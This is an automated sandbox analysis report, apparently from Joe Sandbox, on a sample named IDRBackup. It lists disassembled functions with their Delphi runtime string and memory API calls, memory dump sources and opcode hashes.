Function 57003834 Relevance: 13.6, APIs: 9, Instructions: 57COMMON

Download Yara Rule

APIs

@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 5700384A
@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 57003852
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,570038CA), ref: 57003870
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,570038CA), ref: 57003875
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(?,?,00000001,00000000,00000000,570038CA), ref: 57003884
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(?,?,00000001,00000000,00000000,570038CA), ref: 57003889
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(00000000,?,?,00000001,00000000,00000000,570038CA), ref: 57003892
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(00000000,00000000,?,?,00000001,00000000,00000000,570038CA), ref: 5700389B
@System@@UStrArrayClr$qqrpvi.RTL120.BPL(570038D1), ref: 570038C4

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Unicode$String.System@$Char$qqrx20EnsureLen$qqrx20Ref$qqrpv.String$qqrr20$ArrayClr$qqrpvi.
String ID:
API String ID: 2993352690-0
Opcode ID: 65c0f7ea0fd5cb5057da37a6b4fae337a2ec2ca9b793aff2d1f9b67b21145e5c
Instruction ID: 9f12941914e1fcace6cbed1dddd8e55b13dd78b8b174d08df2cc6b0c95da5156
Opcode Fuzzy Hash: 65c0f7ea0fd5cb5057da37a6b4fae337a2ec2ca9b793aff2d1f9b67b21145e5c
Instruction Fuzzy Hash: 3911A530A25658EFF705DBF4DC8099EB7ECEF08360F9001B6F804E2292D6305E1086A6

Function 5701F8F6 Relevance: 13.6, APIs: 9, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 5701F7A4: @System@@LStrSetLength$qqrv.RTL120.BPL ref: 5701F7DB
Part of subcall function 5701F7A4: @System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5701F878
Part of subcall function 5701F7A4: @System@@LStrSetLength$qqrv.RTL120.BPL ref: 5701F885

@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5701F987,?,?,?,?,00000000), ref: 5701F925
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701F987,?,?,?,?,00000000), ref: 5701F92A
@System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL(00000000,5701F987,?,?,?,?,00000000), ref: 5701F93A
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5701F987,?,?,?,?,00000000), ref: 5701F949
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701F987,?,?,?,?,00000000), ref: 5701F951
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,00000000,5701F987,?,?,?,?,00000000), ref: 5701F959
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(00000000,00000000,00000000,5701F987,?,?,?,?,00000000), ref: 5701F963
@System@Move$qqrpxvpvi.RTL120.BPL(00000000,5701F987,?,?,?,?,00000000), ref: 5701F96C
@System@@LStrClr$qqrpv.RTL120.BPL(5701F98E,?,?,?,00000000), ref: 5701F981

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$System@@$AnsiString$System@%$System@$T$us$i0$%.Unicode$EnsureLen$qqrx27Length$qqrv.String$qqrr27String.T$us$i0$%us.Unique$A$qqrr27Clr$qqrpv.Len$qqrx20Length$qqrr20Move$qqrpxvpvi.Stringi.U$qqrr20
String ID:
API String ID: 1398703411-0
Opcode ID: de05de164dd370d7033eb19dfd24fa9078a510f7cc57347e9cc23fd1971d328f
Instruction ID: 8d167e4ba554751e4fd658e1453b1df657b106fb52db13f516a7b7c004ec4f59
Opcode Fuzzy Hash: de05de164dd370d7033eb19dfd24fa9078a510f7cc57347e9cc23fd1971d328f
Instruction Fuzzy Hash: E401B571715284AFF704EBF9EC50B9EB3EDDF89260FE14472B400C3296EA35AE059592

Function 5701F8F8 Relevance: 13.6, APIs: 9, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 5701F7A4: @System@@LStrSetLength$qqrv.RTL120.BPL ref: 5701F7DB
Part of subcall function 5701F7A4: @System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5701F878
Part of subcall function 5701F7A4: @System@@LStrSetLength$qqrv.RTL120.BPL ref: 5701F885

@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5701F987,?,?,?,?,00000000), ref: 5701F925
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701F987,?,?,?,?,00000000), ref: 5701F92A
@System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL(00000000,5701F987,?,?,?,?,00000000), ref: 5701F93A
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5701F987,?,?,?,?,00000000), ref: 5701F949
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701F987,?,?,?,?,00000000), ref: 5701F951
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,00000000,5701F987,?,?,?,?,00000000), ref: 5701F959
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(00000000,00000000,00000000,5701F987,?,?,?,?,00000000), ref: 5701F963
@System@Move$qqrpxvpvi.RTL120.BPL(00000000,5701F987,?,?,?,?,00000000), ref: 5701F96C
@System@@LStrClr$qqrpv.RTL120.BPL(5701F98E,?,?,?,00000000), ref: 5701F981

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$System@@$AnsiString$System@%$System@$T$us$i0$%.Unicode$EnsureLen$qqrx27Length$qqrv.String$qqrr27String.T$us$i0$%us.Unique$A$qqrr27Clr$qqrpv.Len$qqrx20Length$qqrr20Move$qqrpxvpvi.Stringi.U$qqrr20
String ID:
API String ID: 1398703411-0
Opcode ID: 847c5ab5592bb9ab78a5e122e4c0467bf74cdb345d2f52442188eae4433bfeaf
Instruction ID: f63c25bcfaf9772ce4fdce152b4ee879a8e5b33d2590e90fb168fbf326d55416
Opcode Fuzzy Hash: 847c5ab5592bb9ab78a5e122e4c0467bf74cdb345d2f52442188eae4433bfeaf
Instruction Fuzzy Hash: 1E01B571615284AFE704EBF5EC50B9EB3EDDF89260FE14472B400C3296EA35AE059592

Function 57004CCA Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

@System@@LStrEqual$qqrv.RTL120.BPL(00000000,57004DF7,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004CF1
@System@@LStrCopy$qqrv.RTL120.BPL(?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004D24
@System@@LStrCopy$qqrv.RTL120.BPL(?,?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004D37
@System@@LStrLAsg$qqrpvpxv.RTL120.BPL(?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004D43
@System@@LStrClr$qqrpv.RTL120.BPL(?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004D4B
@System@@LStrCopy$qqrv.RTL120.BPL(?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004D78
@System@@LStrCopy$qqrv.RTL120.BPL(?,?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004D8B
@System@@LStrArrayClr$qqrpvi.RTL120.BPL(57004DFE,?,?,?,00000000,00000000,00000000,00000000), ref: 57004DF1

Strings

*.*, xrefs: 57004CEC

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Copy$qqrv.$ArrayAsg$qqrpvpxv.Clr$qqrpv.Clr$qqrpvi.Equal$qqrv.
String ID: *.*
API String ID: 3147408466-438819550
Opcode ID: 67d1bd776a79c3bf88006f9e22553fdce7360f88718d8f1eb61fefd300d7583e
Instruction ID: c99f620e7a6eddbbce900c329498861846089112fb4c595763cd7c6b5a8781e5
Opcode Fuzzy Hash: 67d1bd776a79c3bf88006f9e22553fdce7360f88718d8f1eb61fefd300d7583e
Instruction Fuzzy Hash: AC21B930714184AFF7849FA5D884AEE73EEEB45720B90426AF511C73C2DA74DC014755

Function 57004E27 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

@System@@UStrEqual$qqrv.RTL120.BPL(00000000,57004F57,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004E4D
@System@@UStrCopy$qqrx20System@UnicodeStringii.RTL120.BPL(?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004E80
@System@@UStrCopy$qqrx20System@UnicodeStringii.RTL120.BPL(?,?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004E93
@System@@UStrLAsg$qqrr20System@UnicodeStringx20System@UnicodeString.RTL120.BPL(?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004E9F
@System@@UStrLAsg$qqrr20System@UnicodeStringx20System@UnicodeString.RTL120.BPL(?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004EA9
@System@@UStrCopy$qqrx20System@UnicodeStringii.RTL120.BPL(?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004ED6
@System@@UStrCopy$qqrx20System@UnicodeStringii.RTL120.BPL(?,?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004EE9
@System@@UStrArrayClr$qqrpvi.RTL120.BPL(57004F5E,?,?,?,00000000,00000000,00000000,00000000), ref: 57004F51

Strings

*.*, xrefs: 57004E48

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@System@@Unicode$Copy$qqrx20Stringii.$Asg$qqrr20String.Stringx20$ArrayClr$qqrpvi.Equal$qqrv.
String ID: *.*
API String ID: 592871669-438819550
Opcode ID: 8ec4be34b21b8c3bf8e0f0a11b4c3fa2068a94080c6b2002611bbcf6660fc9b1
Instruction ID: 5acd6f7c56158b0fc54f417ceb2ac2694bfe73f8e84952a97dba4ad0d5858ab8
Opcode Fuzzy Hash: 8ec4be34b21b8c3bf8e0f0a11b4c3fa2068a94080c6b2002611bbcf6660fc9b1
Instruction Fuzzy Hash: BB21D231710180AFF744DFA8C880ABE77EAEF8A321BE04269F910C73C2DA749D058656

Function 57005204 Relevance: 12.1, APIs: 8, Instructions: 70COMMON

Download Yara Rule

APIs

@System@@LStrSetLength$qqrv.RTL120.BPL(?,?,?,?,?,5700587A), ref: 57005224
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,?,?,?,?,5700587A), ref: 5700524F
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,?,?,?,?,5700587A), ref: 57005268
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,?,?,?,?,5700587A), ref: 57005279
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,?,?,?,?,?,5700587A), ref: 57005281
@System@Move$qqrpxvpvi.RTL120.BPL(?,?,?,?,?,5700587A), ref: 57005292
@System@@LStrSetLength$qqrv.RTL120.BPL(?,?,?,?,?,5700587A), ref: 5700529D
@System@@LStrAsg$qqrpvpxv.RTL120.BPL(?,?,?,?,?,5700587A), ref: 570052AB

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120String$System@@$A$qqrr27AnsiSystem@%T$us$i0$%.Unique$Length$qqrv.$Asg$qqrpvpxv.Move$qqrpxvpvi.System@
String ID:
API String ID: 2470488344-0
Opcode ID: 26dcfe5f01723b7af763c03b288dc4bb490daa6a80c5de3a4ff2d26e7ef49a68
Instruction ID: f59fcd946fb07f12aff7079b1b2d14e420a3cfe51e98af6b70ba3bb14d7052b5
Opcode Fuzzy Hash: 26dcfe5f01723b7af763c03b288dc4bb490daa6a80c5de3a4ff2d26e7ef49a68
Instruction Fuzzy Hash: 55118E5171A2844BF31A66FE6C50B6F66CA8FDA260F98403EB904C7383D989CC0642D2

Function 570052C8 Relevance: 12.1, APIs: 8, Instructions: 69COMMON

Download Yara Rule

APIs

@System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL(?,?,?,?,?,57005C2B), ref: 570052E6
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(?,?,?,?,?,57005C2B), ref: 57005311
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(?,?,?,?,?,57005C2B), ref: 5700532C
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(?,?,?,?,?,57005C2B), ref: 5700533F
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(00000000,?,?,?,?,?,57005C2B), ref: 57005347
@System@Move$qqrpxvpvi.RTL120.BPL(?,?,?,?,?,57005C2B), ref: 5700535B
@System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL(?,?,?,?,?,57005C2B), ref: 57005364
@System@@UStrAsg$qqrr20System@UnicodeStringx20System@UnicodeString.RTL120.BPL(?,?,?,?,?,57005C2B), ref: 57005372

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: System@$L120Unicode$System@@$String.$StringU$qqrr20Unique$Length$qqrr20Stringi.$Asg$qqrr20Move$qqrpxvpvi.Stringx20
String ID:
API String ID: 1243221358-0
Opcode ID: d8bcb6d57e5949a31ed221a5dee036c346aa1ec2b95cf658f69ca0c1f8a08752
Instruction ID: fb04a709f990052022175adcf4aaa1d7e4f2d3a04a0eda99d495b458527e6153
Opcode Fuzzy Hash: d8bcb6d57e5949a31ed221a5dee036c346aa1ec2b95cf658f69ca0c1f8a08752
Instruction Fuzzy Hash: 4411A155726290DBF31557FEA880B3F55C68FC9360FC8813BB604C7392DA98CC1A42D6

Function 57005580 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

@System@@LStrSetLength$qqrv.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 570055A0
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 570055C3
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 570055D8
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 570055F4
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 570055FE
@System@Move$qqrpxvpvi.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 5700560F
@System@@LStrSetLength$qqrv.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 5700561A
@System@@LStrAsg$qqrpvpxv.RTL120.BPL(?,?,?,?,?,57005737,00000000,57005793,?,?,?,00000000,00000000), ref: 57005628

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120String$System@@$A$qqrr27AnsiSystem@%T$us$i0$%.Unique$Length$qqrv.$Asg$qqrpvpxv.Move$qqrpxvpvi.System@
String ID:
API String ID: 2470488344-0
Opcode ID: a3ac4cd9baca30844260eb5671d395cbd19cd80022ddfad37f4c917623a1a7b0
Instruction ID: 5f44acb359d53ac33ce9a6e949368efbd2b0f3135d2d254340b2fce426281fcb
Opcode Fuzzy Hash: a3ac4cd9baca30844260eb5671d395cbd19cd80022ddfad37f4c917623a1a7b0
Instruction Fuzzy Hash: 0011A9667192844FF3086ABE7891B9F67C79BD4270F91813EB945CB383DC6A8C0A4391

Function 57005644 Relevance: 12.1, APIs: 8, Instructions: 65COMMON

Download Yara Rule

APIs

@System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 57005662
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 57005685
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 5700569B
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 570056B8
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(00000000,?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 570056C3
@System@Move$qqrpxvpvi.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 570056D6
@System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 570056DF
@System@@UStrAsg$qqrr20System@UnicodeStringx20System@UnicodeString.RTL120.BPL(?,?,?,?,?,570057E3,00000000,57005841,?,?,?,00000000,00000000), ref: 570056ED

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: System@$L120Unicode$System@@$String.$StringU$qqrr20Unique$Length$qqrr20Stringi.$Asg$qqrr20Move$qqrpxvpvi.Stringx20
String ID:
API String ID: 1243221358-0
Opcode ID: 37ed104334853808672fb9b0c19cb38a55fc541febcb0624bfbf9a70ae4cca64
Instruction ID: 39df84c665d1d4286249828638a91f61529282908cb279386d073af1003cbc8e
Opcode Fuzzy Hash: 37ed104334853808672fb9b0c19cb38a55fc541febcb0624bfbf9a70ae4cca64
Instruction Fuzzy Hash: 1011A96EB19144CFF3406ABAE854B8F62D59B843A0F81853EA549CB783DD698C0943D5

Function 5701D661 Relevance: 12.1, APIs: 8, Instructions: 57fileCOMMON

Download Yara Rule

APIs

@System@@DoneExcept$qqrv.RTL120.BPL ref: 5701D66F

Part of subcall function 5701B2F4: @System@@_llmod$qqrv.RTL120.BPL(00100000,00000000), ref: 5701B320
Part of subcall function 5701B2F4: WriteFile.KERNEL32(00000000,?,00000000,?,00000000,00100000,00000000), ref: 5701B386
Part of subcall function 5701B2F4: @System@@RaiseExcept$qqrv.RTL120.BPL(00000000,?,00000000,?,00000000,00100000,00000000), ref: 5701B3A3

UnmapViewOfFile.KERNEL32(00000000), ref: 5701D69F
UnmapViewOfFile.KERNEL32(00000000), ref: 5701D6B4
@System@@FreeMem$qqrpv.RTL120.BPL(00000000,00000000), ref: 5701D6BF
@System@@FreeMem$qqrpv.RTL120.BPL(00000000,00000000), ref: 5701D6CA
@System@@FreeMem$qqrpv.RTL120.BPL(00000000,00000000), ref: 5701D6D2
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 5701D6E8
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 5701D6FE

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$FreeSystem@@$FileMem$qqrpv.$Except$qqrv.UnmapViewVirtual$DoneRaiseSystem@@_llmod$qqrv.Write
String ID:
API String ID: 221297952-0
Opcode ID: 3f66c3e269cd951c54c3cff080ad5384b45faaa69e489fe7aa14975d11e41d0c
Instruction ID: d855d684b971b1f1fab5342f1299aba101942528975b705497adeb413170ba91
